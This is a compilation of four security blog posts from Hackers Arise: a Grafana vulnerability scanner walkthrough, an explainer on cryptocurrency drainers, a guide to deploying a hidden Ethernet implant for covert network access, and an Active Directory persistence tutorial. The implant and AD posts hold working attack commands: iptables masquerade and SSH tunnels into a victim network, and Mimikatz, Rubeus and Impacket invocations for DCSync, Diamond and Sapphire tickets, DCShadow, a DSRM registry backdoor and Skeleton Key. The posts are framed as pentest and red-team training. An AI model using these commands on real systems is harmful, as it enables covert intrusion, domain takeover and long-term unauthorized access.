Welcome back, aspiring cyberwarriors!

During pentests, it’s not uncommon to find a Grafana somewhere inside an organization’s infrastructure. Sometimes it can even be exposed directly to the Internet. It’s always worth checking Grafana for vulnerabilities, as it has been affected by multiple security issues over the years.

What is Grafana

Grafana is an open-source monitoring and visualization platform used by organizations to display dashboards containing information collected from servers, applications, databases, cloud services and networking equipment. Administrators rely on it to monitor the health of their infrastructure in real time, making it one of the most widely deployed monitoring apps in enterprise environments. Since Grafana often connects to numerous backend services and contains valuable configuration information, compromising it can sometimes give hackers an excellent foothold into the rest of the network.

Of course, you could manually inspect every Grafana installation looking for known vulnerabilities, but that quickly becomes time-consuming, especially during larger engagements where multiple servers have to be assessed.

Fortunately, there is a Grafana-Final-Scanner. It’s a tool designed specifically to automate this process. Instead of manually checking every instance the scanner performs the work for you by checking whether the target is vulnerable to a collection of publicly known vulnerabilities.

Grafana-Final-Scanner

We’ll begin by downloading the repository and installing its dependencies.

kali > git clone https://github.com/Zierax/Grafana-Final-Scanner.git
kali > cd Grafana-Final-Scanner
kali > python3 -m venv venv
kali > source venv/bin/activate
kali > pip3 install -r requirements.txt

Once everything has been installed successfully, it’s worth taking a quick look at the list of vulnerabilities supported by the scanner.

At the time of writing, the tool is capable of checking for more than fifteen different Grafana vulnerabilities.

Now let’s point it at our target.

kali > python3 scanner.py -u https://target/grafana/login

After a short scan, the tool analyzes the target and reports any vulnerabilities it successfully identifies.

In our case, the results were promising. The scanner identified CVE-2024-8118 and an OAuth Authentication Bypass vulnerability. It also gave us the URL. We opened the page and the application asked us for an administrator key that we obviously didn’t have.

Fortunately, web applications don’t always behave exactly as their developers intended. Developers occasionally leave sensitive information inside the application’s front-end code. JavaScript, HTML comments, hardcoded credentials, authorization logic have all been discovered by hackers countless times over the years.

With that in mind, we opened the page’s HTML source code to see exactly how the authorization process was implemented. The comments were written in Russian, but the logic itself was fairly easy to understand.

Instead of verifying a specific administrator key, the application simply checked whether any key existed. So the validation routine wasn’t actually validating the value at all. It simply checked if some key was provided.

The next step was straightforward. We opened the browser’s Developer Console and manually created the expected key.

The application accepted it. 

We bypassed the authentication and accessed the admin panel. 

Finding a vulnerability is only part of the pentest. Understanding how the application behaves after exploitation is equally important. Sometimes the scanners get you only halfway there, while manual analysis can help you find the remaining pieces needed to fully demonstrate the impact.

It’s also a good reminder that developers occasionally leave sensitive information hidden inside client-side code. You never know what useful information may have been left behind.

Web Interface

While running the scanner from the command line works perfectly for testing targets, the project also includes a convenient web interface.

This can be useful during larger pentests where dozens of Grafana instances need to be assessed.

You can start it with this command:

kali > python scanner.py --serve --db vulndb.json

Summary

Grafana is one of the most common monitoring platforms you’ll encounter during internal and external penetration tests. Because it frequently contains sensitive operational data and often communicates with numerous backend systems, compromising it can sometimes provide hackers with an excellent entry point into an organization’s network.

Grafana-Final-Scanner can make it much easier to determine whether your Grafana is exposed to known vulnerabilities.

If you enjoy web application pentesting and would like to improve your skills for bug bounty hunting, we have our Web Application Hacking training. You’ll gain the practical knowledge and skills you need to start finding web application vulnerabilities.

The post Pentesting: Using Grafana to Pentest a Fitness App first appeared on Hackers Arise.

Welcome back, aspiring investigators! 

Let’s talk about something that has become one of the biggest problems in the crypto world. It’s drainers. If you haven’t heard the word before, don’t worry, you’re about to become very familiar with it. Drainers are a type of phishing attack, and they have swept through the cryptocurrency world at a truly striking pace. In fact, they are now growing so fast that they have already overtaken ransomware, both in how widespread they are and in the sheer amount of money they steal. To understand exactly how this works, we dug into the mechanics of drainers as well as the whole shadowy little market that has grown up around them. That’s what we are going to explore together today.

The basic idea behind any phishing campaign is to catch you making a mistake. Hackers want you to hand over information or access that should never leave your hands. In the specific case of drainers, the goal is a little different from classic phishing. The hacker wants to trick you into granting a smart contract permission to interact with your funds. Once you give that permission, the damage is already done. Drainers mostly go after blockchains that support smart contracts. That means they target users on Ethereum and Ethereum-like networks, such as Base, Polygon, and Optimism. But don’t think Ethereum is the only battlefield. Drainers built for Solana exist too, and a drainer aimed at Bitcoin has already made an appearance.

Imagine you want to connect your MetaMask wallet to some project’s website because you’re hoping to grab a little free crypto. Maybe you want to buy a brand-new token while it’s still cheap, before the price shoots up. You click Connect, you type in your password, and you sign a transaction that approves access to your wallet. And that, right there, is exactly the moment a drainer catches you. Instead of a legitimate contract that would let you receive tokens, the hacker gets you to sign a malicious smart contract. In doing so, you unknowingly grant permission for your funds to be transferred out. In effect, you agree, with your own hand, to give away all your money.

So how does a hacker actually pull this off? It works best with something called an airdrop, which is simply a giveaway of new tokens. Airdrops attract a swarm of people who are hoping to get a little bit of crypto that might grow tens of times in value down the road. These giveaways do genuinely happen sometimes, as a real way to promote a new token. So people have learned to trust them. In that exact moment, the user is driven by something we call FOMO, the fear of missing out on a gain.

In their rush to grab the airdrop, a person often doesn’t stop to check who actually created the page they are interacting with, or what the smart contract they are approving actually does under the hood. The website itself might be a perfect copy of the real one, built by the hacker down to the smallest detail, while the smart contract underneath does the opposite of what it promises. Instead of giving you money, it takes it.

Drainers Are Gaining Momentum

In 2024, drainers overtook ordinary ransomware, both in how far they spread and in how much money they brought in. Now, don’t get it wrong, ransomware is still very much the scourge of large businesses. But scammers, being the opportunists they are, have rushed into this new and still relatively uncrowded niche. The very first drainers spread quietly, as scripts traded on darknet marketplaces. Back in 2022 there were 55 unique forums where you could find drainers being sold or discussed. By 2024, that number had jumped to 129 such places, more than double in just two years.

And keep in mind, that count only covers a place as niche and honestly as sparse as the dark web. Most of the real action these days happens on Telegram and Discord.

The biggest drainers active in 2024 had names like Angel, Inferno, Ping, Ace, Cerberus, Nova, Medusa, MS, CryptoGrab, and Venom. Of that whole list, mainly Angel and Ace are still active today, but a new player has stepped onto the stage, one called Vanilla. It hasn’t been studied very closely yet, because it runs on a private model that is difficult for the average scammer to even get access to.

According to Scam Sniffer, a company that closely analyzes different types of crypto fraud, total losses from drainers in 2024 added up to $494.000.000.

That figure only counts the large-scale hacks that could actually be tallied and confirmed. Since drainers mostly target ordinary, everyday users, small thefts of just a few thousand dollars here and there don’t even make it into that statistic. So the real number is almost certainly much higher. 

Among the large-scale cases recorded in 2024, there were more than three hundred thirty thousand victims. The single biggest theft that year came to $55.000.000. All together, there were roughly thirty major fraudulent campaigns, which is one and a half times more than the year before, in 2023. In the first quarter of 2024 alone, drainers showed almost sixfold growth. Compare that to ransomware, which only doubled over that same stretch of time.

So what do all these numbers really mean? Well, because the barrier to entry into this line of work is so remarkably low, it has started attracting scammers who used to work in more old-fashioned territory, like email phishing, luring victims to fake bank login pages and other traditional scam types. A couple of months of this kind of work could buy an apartment, a car, and regular vacations somewhere warm like Thailand. Take one risk, and you can just walk away, or so the thinking goes. But of course, once someone gets a real taste of easy money like that, nobody actually walks away after two months. The business pulls them back in.

Think about the contrast here. A ransomware group has to negotiate with a company, arrange for payment, and handle the whole business of decryption afterward. That’s a lot of hassle and a lot of steps where things can go wrong. A drainer, on the other hand, just steals the money immediately. No negotiation needed. 

Like plenty of other kinds of scams out there, drainers are distributed under what’s called a SaaS model, short for Software-as-a-Service. In this criminal corner of the internet, they’re called DaaS, meaning Drainer-as-a-Service.

There’s also a very characteristic division of labor inside these operations. You’ve got developers, who build the actual malware. You’ve got workers, the rank-and-file operatives out doing the scamming day to day. And alongside them you’ve got recruiters, traffic-generation specialists, and providers of various supporting services that keep the whole machine running. The main job, naturally, falls to the developers. They are the ones who create the malicious software and work to make it more convenient to use, easier to deploy, and easier to scale up. 

How the “Company” Is Built

So what does a hacker actually need in order to pull off a phishing campaign like this?

First, they need domains for their future sites, and these domains are usually spelled just similarly enough to the name of the real project they’re impersonating, so a distracted eye won’t catch the difference. Then they need hosting, which is simply a place to put the site once it’s built. Naturally, they also need a landing page, one designed to closely resemble the legitimate project’s real page. Underneath that landing page sits the drainer code itself, which is typically JavaScript code hosted directly on the site. On top of all that, they’ll usually build a control panel that shows them how many users have been lured in and tracks how those users are behaving on the page. And finally, hackers take their own security seriously too, relying on VPNs, proxies, and fake sockpuppet accounts to cover their tracks.

Professional hackers usually go a step further and set up a full command-and-control server, which lets them manage the drainer’s behavior remotely and adjust it on the fly.

Once all of that infrastructure is in place, all that’s left is bringing in people, actual victims to walk through the trap. That job falls to traffic arbitrage specialists, sometimes called traffic drivers. Their whole task is to funnel users toward the phishing page. They accomplish this in all sorts of ways, everything from buying Google ads to jumping directly into comment sections and posts to engage with real users. Some scammers even go so far as to clone the official support channels of legitimate projects, so a victim reaching out for help ends up talking to the scammer instead.

Put it all together, and what you get is a genuine sales funnel, a designed path that walks victims toward the trap, just like any legitimate marketing funnel would walk a customer toward a purchase.

How the Money Is Split

Here’s how the profits typically get divided up. Operators, the people running the overall scheme, take home twenty to thirty percent of whatever gets stolen. The rest goes to the workers, the people directly out there scamming victims day to day. A worker’s exact cut depends on their skill level. Beginners give up thirty percent of their take to the operators, while the most experienced workers only give up ten to fifteen percent.

And how is a worker’s skill level judged? Simply by how much they have already managed to steal over time. If you’ve stolen up to $10.000 total, you’re considered a beginner. Between $25.000 and $30.000 puts you at mid-level. And starting from $100.000, usually climbing toward a million or more, you’re considered a true professional in this dark little trade.

Driving Traffic

Knowledge in this underground world gets passed around among workers through tutorials. A tutorial itself becomes an item that gets bought, sold, and traded, almost like a piece of merchandise. Entire communities have formed just to gain access to these tutorials, treating them like valuable trade secrets. The writing style of these tutorials makes it fairly clear that AI tools were used to help put them together.

Broadly speaking, the same traffic-driving scheme used in ordinary, everyday phishing applies here too, just adapted for the world of crypto. A worker is essentially doing the same job as any online advertising specialist would. Their goal is simply to increase the number of people clicking through to the phishing page. That means hunting for users who are genuinely interested in Web3 and DeFi projects, people who hold crypto wallets and who are drawn to airdrops, token swaps, and exchanges.

This whole process involves demographic analysis and geolocation analysis, essentially the same ordinary targeting techniques that any advertiser in any industry would recognize. Workers also handle what they call “site design,” which really just means cloning the pages of existing, trusted projects. They’ll even use classic marketing techniques like A/B testing to see which fake page tricks more people.

Now let’s walk through a few high-profile examples of drainer thefts.

The Attack on Arkham Intelligence

Arkham is a company that provides on-chain analytics, and it’s a genuinely popular tool for tracking transactions. Traders rely on it, for instance, to check an asset’s price and see exactly where it’s trading across different platforms.

Back in 2023, Arkham’s owners launched their own token along with an airdrop of coins to celebrate. But hackers saw an opportunity and created numerous fake profiles on X specifically to redirect users toward phishing pages containing a drainer. Remarkably, these bot accounts proved quite resilient and managed to avoid being banned for a long stretch of time. They mimicked Arkham’s real activity closely and spread malicious links far and wide.

A huge number of these fake sites were created during the campaign, and each one typically had a lifespan of just weeks, or a couple of months at most. Angel’s software allowed a hacker to copy landing pages quickly and place them on brand-new domains almost instantly. The whole process has been simplified so much that a worker only needs to type a few commands into a conversation with a Telegram bot in order to deploy an entirely new phishing site.

The Attack on the SEC

An even bigger impact can be achieved by a hacker hijacking the real, verified account of some authoritative company, or even a government organization.

And that’s what happened with the United States Securities and Exchange Commission, or the SEC. On January 9, 2024, its account on X was compromised through a technique called SIM swapping, which basically means reissuing a SIM card tied to the phone number linked to that account. Officials, unfortunately forgetting about basic security hygiene, hadn’t even enabled multi-factor authentication on the account.

Lately, the SIM-swapping community and the drainer community have grown noticeably closer, almost like two neighboring criminal industries starting to collaborate. Swappers now routinely supply drainers with freshly hijacked accounts to use.

The hackers behind this attack posted that the SEC had officially approved investing in Bitcoin without needing to buy crypto directly on an exchange like Binance or Coinbase. This caused an immediate stir, because investors had been waiting a long time for exactly this kind of decision from the SEC, and many expected it to be announced any day. Following the fake post, the hackers urged people to claim an “official SEC airdrop” on a special site that contained a drainer.

That single fake post even caused a real spike in Bitcoin’s price. It rose by a full thousand dollars, just from a fake tweet.

Scamming the Scammers

Scammers, as it turns out, wouldn’t really be scammers if they didn’t also scam each other. At one point, the developer behind the Pink Drainer felt like he was getting close to being unmasked, so he decided to get out of the game entirely and cash out his loot. Here’s the catch, though. You can’t just sell crypto obtained through a scam outright. To actually withdraw the funds, a scammer first has to launder the money, or else an exchange might get suspicious and freeze it before it ever reaches a real bank account.

To avoid enabling things like terrorism financing, or simply to stay within the law, exchanges use a system of scoring and refuse to accept “dirty” crypto. This scoring system is called an AML score, short for anti-money-laundering. There are plenty of laundering methods out there, and while trying one of them, Pink Drainer’s own developer ended up getting scammed himself.  He fell for one of the simplest kinds of fraud imaginable called address poisoning. 

Here’s how it works. Hackers generate crypto addresses that closely resemble a victim’s real address, and then they send that victim a tiny amount of crypto, just enough so that the lookalike address shows up in the victim’s transaction history.

From the user’s side, here’s what it looks like in practice. You send, say, one hundred dollars to some other wallet, maybe an exchange you use regularly. Then, five or ten minutes later, you receive a few tiny transfers that appear to come from that very same wallet. But in reality, they only come from a similar-looking address, one that might share, say, an identical start and end to the real address, while the middle is different.

The hacker is betting that on your next transfer, you’ll simply scroll through your history, pick the most recent address you see, and send your money not back to yourself, but straight into the hacker’s pocket. And that’s exactly how Pink Drainer got caught in his own kind of trap. He picked what looked like the last transaction in his history and sent ten ETH, worth about $15.000 at the time, straight to some unknown “colleague” who was never really his colleague at all.

Conclusion

Because draining is so easy and profitable, this type of scam is not going away anytime soon. If anything, the ways malicious payloads get delivered will only keep getting more sophisticated from here. Drainers are increasingly setting their sights on younger blockchains too. On Ethereum-based networks, it’s steadily getting harder for hackers to operate, since protective measures keep appearing that they have to find new ways to bypass. On Solana, though, no such protections really exist yet, which makes it a much softer target. New kinds of drainers will keep emerging as well. Some scammers have already started building actual apps for Google Play and the App Store, moving beyond simple websites and into places millions of people trust by default. So stay alert out there, and think twice before you click any button, especially one promising you free money. If it feels too good to be true, in crypto more than almost anywhere else, it usually is.

If you’re interested in cryptocurrency forensics, we have a dedicated training called Bitcoin and Cryptocurrency Forensics. You will get to dive into blockchain analysis and cryptocurrency investigations, learning the skills needed to become a cryptocurrency forensic analyst. You can buy the training separately or attend it live on September 15-17 at 3 PM UTC.

The post Cryptocurrency Drainers: How Hackers Steal Cryptocurrency first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors! 

Today we complete our short series on building a small persistence device. After covering how to build it in Part 1, we will now focus on its deployment and how to achieve persistence using the device we created. We will also discuss practical measures to protect your environment from attacks like this.

Persistence

An attacker finds an unattended computer and discreetly connects their device to it.

The computer in the image above will not lose network access and will not even detect the intermediate node. The Rock Pi will transparently forward the victim’s traffic while simultaneously giving the attacker network access both toward the victim’s computer and toward the local network.

The hardware implant can be connected anywhere (from a regular computer or printer to a server room). It all depends on where the attacker managed to gain access. Its small size allows the hardware backdoor to be hidden even inside another device.

The hardware implant can even be placed inside an IP phone located in a meeting room. Such rooms are often temporarily unoccupied, which an attacker can take advantage of.  The device configuration also allows it to be used not only in a “man-in-the-middle” setup. It can simply be plugged into any available Ethernet port to maintain remote access.

Next, using all available access channels (VPN, DNS, Wi-Fi, 4G), the attacker can remotely access the device and, from there, gain access to the network. To develop further attacks, the attacker does not need to deploy all hacking tools on the device every time. The implant can act merely as a gateway, simply forwarding packets from the attacker into the network.

L3 Access

Now it is time to look at how such a device can be configured in gateway mode, providing simple Layer 3 (L3) access to the target network. Only two components are required.

The first is packet forwarding. When this kernel option is enabled, network packets can pass from one interface (VPN) to another (Ethernet) according to routing rules:

/etc/sysctl.conf

net.ipv4.ip_forward=1

The second is SNAT, which modifies the source IP address for packets that change network interfaces, in this case from VPN to Ethernet:

Pi > iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
Pi > iptables-save | sudo tee /etc/iptables.up.rules

/etc/network/if-pre-up.d/iptables

#!/bin/bash
/sbin/iptables-restore < /etc/iptables.up.rules

This gives the hacker simple and convenient access to the network where the implant is placed. On the attacker’s side, all that is required is to add a route through Packet Squirrel:

kali > route add -net 10.0.0.0/8 gw packet_squirrel
kali > ping 10.10.10.10

The attacker’s phone, which is not directly connected to the victim’s laptop, is connected to the same VPN network as the Packet Squirrel. A route is configured on the phone with Packet Squirrel as the gateway, after which the attacker gains direct network access to the internal network. This is convenient for the attacker and can be used both for stealthy access and for further attack development. However, this is only L3 access (the network layer of the OSI model), which does not provide full attack capabilities, since the attacker is not actually inside the network but uses Packet Squirrel as a gateway.

To be fully present within the network segment and to use the full arsenal of Ethernet-based attacks (from ARP to NetBIOS spoofing), the attacker needs Layer 2 (L2) access.

L2 Access

To obtain full L2 access to the network segment where the implant is located, the attacker must create an additional tunnel. The simplest way to do this is via SSH:

/etc/ssh/sshd_config

PermitRootLogin yes
PermitTunnel ethernet

Since the device’s Ethernet interfaces are already connected in a bridge (br0), the attacker only needs to add a new L2 interface from SSH into this bridge:

kali > sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any
Pi > brctl addif br0 tap1
Pi > ifconfig tap1 up

The network bridge will copy every network packet from the Ethernet interfaces into this virtual interface. On the attacker’s side, a new L2 interface will also appear, receiving all packets available to the Packet Squirrel and acting as an L2 portal into the internal network segment:

kali > sudo ifconfig tap1 up
kali > sudo dhclient tap1

Now, being directly inside the network segment via Packet Squirrel, the attacker can obtain an internal IP address via DHCP. For greater stealth, they may even use the victim’s IP address:

Pi > sudo ifconfig br0 0
kali > sudo ifconfig tap1 $victim_ip/24

A small device hidden somewhere deep within a corporate network, behind a workstation, a hallway printer, an IP phone in a meeting room, or even buried in server room cabling can covertly interact with internal network nodes on behalf of the victim (using their MAC and IP address). Meanwhile, the attacker can be physically located far away.

Such a device can also be used for remote internal penetration testing, where the client simply plugs the device into the required network segment. No further action is needed. There is no need to coordinate access approvals, travel to the site, or deal with inconvenient VPN connections.

How to Defend

Using Port Security alone can prevent an attacker from accessing an unused network port, since they will not know the required MAC address. If 802.1X is also implemented, the attacker will not be able to insert a device in the middle. When connecting a Packet Squirrel, even briefly, the network link must be interrupted, which would require re-authentication.

Another defensive measure is strict physical control over Ethernet ports and devices within the enterprise network.

Summary

We showed you how a small, hidden hardware implant can give an attacker persistent and stealthy access to an internal network. By acting as a transparent bridge or gateway, the device allows remote entry without disrupting normal operations. With L3 access, the attacker gains basic connectivity, while L2 access places them fully inside the network, enabling more advanced attacks and even impersonation of legitimate devices. Physical access, even briefly, can translate into long-term compromise. That’s why strong network authentication and strict control over physical ports are critical for defense.

If you like what we’re doing here and want to advance your cybersecurity skills, check out our Cyberwarrior Path training. It’s a three-year program built around a two-tier learning curriculum. During the first 18 months, you’ll get access to a rich library of beginner to intermediate-level courses, giving you the knowledge and practical skills you need to build a strong foundation and progress with confidence.

The post Persistence: Building a Small Ethernet Persistence Device, Part 2 first appeared on Hackers Arise.

Welcome back, aspiring hackers!

One of the biggest misconceptions beginners have about hacking is the idea that gaining access is the final objective. Imagine spending days crafting payloads, bypassing antivirus protections, evading EDR solutions, phishing credentials, and finally landing a working beacon inside a target environment. Everything works perfectly. Then the user reboots the machine and your session disappears. Maybe the IT department pushes a patch. Maybe passwords get rotated overnight. Maybe your process crashes. Just like that, your foothold is gone and all the work leading up to it disappears with it.

This is why persistence matters so much in red team work and cyber espionage. Advanced threat groups build layers of access designed to survive disruptions, investigations, credential changes, and even defensive cleanup attempts. If one persistence mechanism fails, there is another one.

Groups such as Lazarus Group, Cozy Bear, Volt Typhoon, Salt Typhoon, and Turla invest heavily in persistence techniques because maintaining access is valuable.

The defensive side of this topic is equally important. Blue teams, SOC analysts, DFIR investigators, and threat hunters need to understand persistence because these are exactly the tricks attackers use to maintain long-term access. If defenders only focus on initial compromise indicators, they may completely miss the mechanisms keeping attackers alive inside the environment. Persistence techniques are often subtle, deeply integrated into operating systems, and designed to blend into normal administrative activity.

Today we are going to explore The Art of Staying In by DbgMan.

The Art of Staying In

The Art of Staying In is one of the most comprehensive persistence guides available. The guide covers persistence across Windows, Linux, macOS, Active Directory and cloud environments. Topics range from Windows Registry persistence and Scheduled Tasks to WMI Event Subscriptions, Services, DLL Hijacking, COM Hijacking, UEFI bootkits, Azure AD abuse, AWS IAM persistence, and GCP persistence mechanisms.

The guide also maps techniques to the MITRE ATT&CK framework under TA0003 Persistence and explains how real APT groups use these techniques during operations. One of the strongest aspects of the guide is that it does not only show the offensive side. It also discusses OPSEC considerations, detection opportunities, and practical tradecraft.

We are not going to cover every persistence mechanism discussed in the guide because that would require an entire book by itself. Instead, we will focus on several particularly interesting Active Directory persistence techniques that demonstrate how modern hackers maintain access inside enterprise environments.

Active Directory Persistence

One of the most important areas of persistence today is Active Directory persistence. In enterprise environments, Active Directory becomes the nervous system of the organization. Whoever controls Active Directory often controls the entire infrastructure.

Linux persistence is also important, but we already demonstrated some of its techniques in previous articles.

There are many persistence techniques in Active Directory, and we are not going to revisit the classic Golden Ticket and Silver Ticket attacks in detail since they are already widely known. Instead, we will focus on several less commonly discussed persistence mechanisms that are relevant.

Diamond Ticket

A Diamond Ticket is an advanced Kerberos persistence technique that improves upon the traditional Golden Ticket approach.

To understand why it is stealthier, we first need to briefly understand how Kerberos works. In Active Directory, users authenticate through the Key Distribution Center, commonly called the KDC. During authentication, the KDC issues a Ticket Granting Ticket, or TGT, which later allows the user to request access to services across the domain.

A Golden Ticket is fully forged from scratch. The hacker creates an artificial TGT without ever legitimately communicating with the KDC. It’s detected because defenders can sometimes identify TGTs that were never preceded by legitimate authentication requests.

A Diamond Ticket works differently. Instead of fully forging the ticket, the hacker first obtains a legitimate TGT from the real KDC. The hacker then decrypts the ticket using the KRBTGT account hash, modifies the Privilege Attribute Certificate, commonly called the PAC, injects elevated privileges, and re-encrypts the ticket before using it. Because the ticket originates from a legitimate Kerberos flow, it blends in much more naturally with normal authentication traffic.

For this attack we will use both Mimikatz and Rubeus. Keep in mind that this attack requires Domain Admin privileges or equivalent replication rights.

The first step is obtaining the KRBTGT AES256 key. We can retrieve the hash using the DCSync attack in Mimikatz.

PS > mimikatz.exe "privilege::debug" "lsadump::dcsync /user:krbtgt"

After scrolling through the output, you will eventually locate the aes256_hmac entry. That is the value we need.

Next we move to Rubeus.

Rubeus.exe diamond /krbkey:<KRBTGT_AES256> /user:lowpriv /password:P@ssw0rd123 /enctype:aes256 /ticketuser:Administrator /domain:domain.local /ticketuserid:500 /groups:512,519 /ldap /opsec /nowrap

# add /output:admin.kirbi if you need it

This command requests a legitimate TGT for the lowpriv user, modifies it, and injects elevated privileges associated with the Administrator account and highly privileged domain groups. You will notice two Base64 blobs displayed on the screen. The second blob is the one you need. If you prefer working directly from Windows, adding the /ptt parameter will inject the ticket directly into the current session.

If you want to use the ticket from Linux, you can decode and convert it into a Kerberos credential cache.

kali > echo "BASE64" | base64 -d > lowpriv.kirbi
kali > impacket-ticketConverter lowpriv.kirbi lowpriv.ccache
kali > export KRB5CCNAME=lowpriv.ccache
kali > nxc smb domain.local --use-kcache

Once the ccache file is loaded, tools from the Impacket or NetExec can authenticate using the injected Kerberos ticket without requiring plaintext credentials.

Sapphire Tickets

A Sapphire Ticket is considered one of the most advanced Kerberos abuse techniques currently discussed publicly. Instead of forging PAC information, the attacker extracts the legitimate PAC from a privileged user through S4U delegation functionality and embeds that authentic PAC into a modified ticket. Traditional forged tickets contain artificial PAC data created by the hacker. Sapphire Tickets instead reuse legitimate authorization data generated by the domain itself. As a result, the ticket appears far more authentic during validation checks.

Even Microsoft’s PAC hardening efforts introduced in recent years did not completely eliminate this technique because the PAC itself remains legitimate.

Here is an example using Impacket.

kali > python3 ticketer.py -request -domain domain.local -user lowpriv -password 'P@ssw0rd123' -aesKey <KRBTGT_AES256> -domain-sid S-1-5-21-XXXXXXXX -impersonate Administrator domain.local

Tickets like these are commonly valid for around ten hours by default because they inherit normal Kerberos lifetime settings. While it is technically possible to extend ticket lifetimes, doing so is usually not a good OPSEC decision. Long-lived tickets can stand out during investigations and anomaly hunting.

Detection becomes significantly harder because nearly every component of the ticket originates from real domain-generated data.

DCShadow

DCShadow is one of the Active Directory persistence techniques that abuses the very replication mechanisms Active Directory depends on internally. Normally, Domain Controllers replicate changes between each other automatically. Security monitoring solutions often trust this replication traffic because it is considered legitimate domain behavior.

The hackers temporarily registers a rogue machine as a fake Domain Controller and pushes arbitrary changes into Active Directory through replication protocols. Since the modifications appear to originate from legitimate DC replication activity, many standard logging mechanisms either miss the activity entirely or fail to generate alerts.

This attack requires Domain Admin privileges.

For the setup, we will need two separate administrative shells. One shell needs to run as NT AUTHORITY\SYSTEM because some replication operations must originate from the computer account context. The second shell will be a Domain Admin PowerShell session.

First we elevate the shell with PsExec.

PS > .\PsExec.exe \\delivery -u sekvoya.local\service_adm -p P@ssw0rd123! -s powershell

Next we run Mimikatz and modify the target account.

PS > .\mimikatz.exe "privilege::debug" "lsadump::dcshadow /object:CN=lowpriv,CN=Users,DC=sekvoya,DC=local /attribute:primaryGroupID /value:512" "exit"

This prepares the modification that will promote the user into Domain Admin privileges.

Then, from the second administrative window, we push the changes.

PS > .\mimikatz.exe "privilege::debug" "lsadump::dcshadow /push" "exit"

Once the push completes, the user becomes a member of Domain Admins through replication-based manipulation.

Defenders often focus heavily on authentication logs and endpoint alerts while overlooking replication-layer abuse. In mature environments, this technique can be difficult to investigate if replication monitoring is not configured properly.

DSRM Account Backdoor

Every Domain Controller contains a local Directory Services Restore Mode administrator account, commonly called the DSRM account.

This account acts as a break-glass recovery mechanism for restoring or repairing Active Directory services. During Domain Controller promotion, administrators set the DSRM password once and then frequently forget about it entirely. In many environments, the password remains unchanged for years. By default, the DSRM account cannot normally authenticate over the network while the domain is operating normally. However, a registry modification can change that behavior.

First, we connect to the Domain Controller and dump the local SAM database.

PS > . .\Invoke-Mimikatz.ps1
PS > Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

This gives us the local Administrator hash associated with the DSRM account.

Next we enable network logon functionality for the DSRM account.

PS > reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f

After modifying the registry value, the DSRM account can authenticate remotely even while Active Directory is fully operational.

Skeleton Key

Skeleton Key is another classic but still interesting persistence technique.

Instead of modifying Kerberos tickets or replication data, Skeleton Key patches LSASS memory directly on the Domain Controller. Once patched, the Domain Controller accepts a universal master password for every domain account while still continuing to accept users’ legitimate passwords normally. From the users’ perspective, nothing appears broken. Everyone continues logging in as usual. Meanwhile, the hacker gains the ability to authenticate as any user using the injected master password.

By default, the password used by Mimikatz for Skeleton Key is mimikatz.

Here is the command:

PS > . .\Invoke-Mimikatz.ps1
PS > Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'

The major limitation of Skeleton Key is that it exists only in memory. Rebooting the Domain Controller removes the patch unless the hacker has another persistence mechanism ready to reapply it automatically.

Other Persistence Methods

There are many additional persistence mechanisms inside Active Directory that deserve exploration. Techniques such as AdminSDHolder abuse, DCSync persistence, SID History injection, malicious Group Policy modifications, rogue certificates, shadow credentials, and ACL backdoors all provide different ways to maintain long-term access. Some persistence mechanisms survive password changes. Others survive operating system reinstalls. Some operate at firmware or bootloader level and remain active even after defenders believe systems were fully cleaned.

Hackers don’t rely on one method. They layer persistence strategically.

OPSEC

Persistence is about maintaining access without drawing attention. Some persistence mechanisms are intentionally sacrificial. They exist to distract defenders while more stealthy footholds remain hidden deeper in the environment. Others function as emergency backup access in case primary infrastructure fails.

Good hackers also think carefully about timing, ticket lifetimes, authentication frequency, endpoint visibility, and how blue teams actually investigate incidents. A persistence mechanism that technically works but constantly generates suspicious logs is often more dangerous to the hacker than useful.

APT Case Studies

The guide includes multiple APT case studies that demonstrate how real threat actors maintain persistence during long-term operations. Studying persistence from both offensive and defensive viewpoints helps build a much deeper understanding of how enterprise compromises actually unfold over time.

Summary

Persistence is one of the defining characteristics of advanced offensive operations. Initial compromise may get attackers into an environment, but persistence is what allows them to remain there long enough to achieve strategic objectives.

Modern persistence techniques have evolved far beyond simple startup folder payloads and registry run keys. Today’s hackers manipulate Kerberos internals, abuse Active Directory replication, patch authentication processes in memory, hijack recovery accounts and leverage legitimate administrative functionality to blend into enterprise traffic.

If you like what we’re doing here, check out our Cyberwarrior Path training. It’s a comprehensive three-year program. We dive deep into the technology, how it works, and how to break it. There are many courses available in this training program. Complete the program, and you’ll graduate as a certified Cyberwarrior.

The post Advanced Persistence: A Complete Guide on Persistence first appeared on Hackers Arise.